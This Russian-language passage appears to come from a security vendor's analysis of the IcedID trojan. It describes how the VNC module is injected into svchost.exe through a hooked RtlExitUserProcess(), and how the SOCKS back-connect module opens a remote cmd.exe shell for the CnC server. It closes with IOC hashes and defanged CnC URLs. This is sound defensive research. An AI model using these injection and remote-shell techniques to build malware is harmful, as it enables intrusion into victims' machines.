При подключении к серверу приложение отправляет пакет с command-полем 0, на что сервер отвечает ему командой. Так происходит в бесконечном цикле с интервалом. На словах все снова сложно, поэтому воспользуемся силой воображения изображения:

Ход исполнения команды Change IP в BC-модуле

Схема получилось упрощенной, не стал включать 1, 2 и 3 команды. Итак, давайте посмотрим, как происходит запуск VNC- и SOCKS-модулей.

Запуск VNC-модуля


Запуск VNC-модуля осуществляется в контексте нового процесса svchost.exe. Сам модуль находится в теле IcedID в сжатом виде и при помощи функции RtlDecompressBuffer() распаковывается (но не запускается) в контексте трояна. Как и основной модуль IcedID, VNC-модуль состоит из двух частей: shell-код, предназначенный для развертывания трояна в контексте svchost.exe, и сам модуль.

В первую очередь IcedID запускает новый процесс svchost.exe в suspended-режиме без аргументов, после чего записывает туда VNC-модуль и параметры, необходимые для работы модуля: IP-адрес CnC, порт, BotID, Key и т.д. А запуск модуля осуществляется довольно интересным образом: вместо того, чтобы создать новый поток в контексте нового процесса, IcedID ставит хук на стандартную функцию RtlExitUserProcess(). Выглядит это следующим образом:


После этого он запускает работу процесса функцией ResumeThread(). Так как процесс был запущен без аргументов, он очень быстро завершит свою работу и вызовет функцию RtlExitUserProcess(), которая уже не та, что была при запуске приложения, и JMP-инструкция передаст управление на shell-код VNC-модуля, который будет выполнять уже свои грязные дела. Примечательно, что старые версии трояна именно таким образом разворачивали главный модуль IcedID в контексте svchost.exe, но по какой-то причине разработчик загрузчика отказался от этой идеи и сейчас запуск IcedID осуществляется гораздо проще.

Запуск SOCKS-модуля


Как вы уже догадались, данный модуль предназначен для проксирования трафика между двумя удаленными серверами. Фактически SOCKS-модуль является backonnect proxy и выполняет соответствующие функции: устанавливает соединение с удаленным CnC-сервером, запрашивает адрес, порт и параметры, устанавливает соединение и проксирует трафик между CnC и удаленным сервером (может быть легитимным). А теперь чуть подробнее.

После получения команды на запуск модуля приложение отправляет на сервер объект структуры BcMessageStruct, где command — 4, а значения id и key позаимствованы из структуры-запроса. В ответ сервер отсылает данные, состоящие из заголовка, адреса и порта удаленного сервера, с которым необходимо установить соединение. Адрес может быть как доменом, так и IP. Заголовок состоит из 5 байт, вот краткое описание двух наиболее интересных полей:

Смещение Описание
2 Тип адреса: домен или IP
3 Тип запроса: SOCKS(0) или cmd(1)

После заголовка следуют данные — адрес и порт. Снова сложно? Тогда и для этого есть схема!

Схема работы SOCKS-модуля

А теперь неожиданный поворот: если управляющий сервер устанавливает соединение и указывает в качестве пары адрес — порт значение 127.0.0.1:39426, а поле «тип запроса» — 1, то приложение запускает… процесс cmd.exe.


Зачем разработчик выполнил запуск cmd.exe в SOCKS-модуле, а не в модуле обработки команд (которых, к слову, целых два), я объяснить не могу. Просто расскажу, как он это делает: при создании cmd.exe IcedID привязывает ввод-вывод нового процесса к двум pipe'ам, после чего создает два потока: один в цикле читает данные с сервера и отсылает в pipe-записи, второй читает из pipe'а чтения и отправляет на сервер. Таким образом удаленный сервер может запускать командный интерпретатор и исполнять в нем команды.

Схема исполнения cmd-команд управляющим сервером

Тут должно быть заключение


Думаю, пора подводить итоги. За полтора года IcedID вырос над собой, научился эффективнее «прятать» данные в файловой системе и сетевом трафике, обзавелся зачатками ВМ-детекта и антиотладочными методами — и это далеко не полный список. Разработчик продолжает активно развивать свой проект, и его упорству могут позавидовать многие большие open source-проекты. Мы продолжаем следить за развитием трояна, улучшать свои продукты и держать вас в курсе интересных обновлений.

IOCs
Loader/Downloader — second stage:

  • c897c555d395627dedf7e9e91623f54c
  • f89d448700de774c0b27762f327bd13f
  • ca59e8c577f8476dce210bc51c8daf9a
  • c7ebf2e9976f494355fee936749202a3
  • 589b2d1eff18b651f8344e6a40f6cecf
  • 753a45bfeb6877c2d9d841824d8f59a8

Encrypted main module:

  • 6A44BEFDED3DA2245EF3A78E396CE5E0 — described in this article

CnC:

  • hXXps://poloturtles[.]top/audio
  • hXXps://robertogunez[.]xyz/audio
  • hXXps://gotofresno[.]xyz/audio
  • hXXps://fordthunderbirth[.]site/audio
  • hXXps://luxcarlegend[.]top/audio
  • hXXps://nicebirththunder[.]cloud/audio
  • hXXps://totheocean[.]pw/audio